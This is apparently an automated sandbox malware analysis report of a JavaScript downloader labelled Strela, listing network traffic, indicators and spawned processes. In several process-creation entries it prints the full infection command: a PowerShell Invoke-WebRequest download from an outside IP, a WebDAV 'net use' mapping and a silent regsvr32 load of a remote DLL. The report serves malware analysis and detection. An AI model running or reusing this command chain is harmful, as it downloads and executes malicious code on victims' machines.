5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49703

Source: global traffic

TCP traffic: 192.168.2.7:49703 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49702 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1259368342.0000012B7D24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1313824534.000002771E54A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1313824534.000002771E518000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1313824534.000002771E56B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1313824534.000002771E518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 0000000E.00000002.2550452865.000001B10F40F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1315682720.000001B10F2D0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 508, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2808316613110627987.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3808:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_li2h3an0.shi.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2808316613110627987.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1764,i,5740791908415637487,12243783772582126901,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1764,i,5740791908415637487,12243783772582126901,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
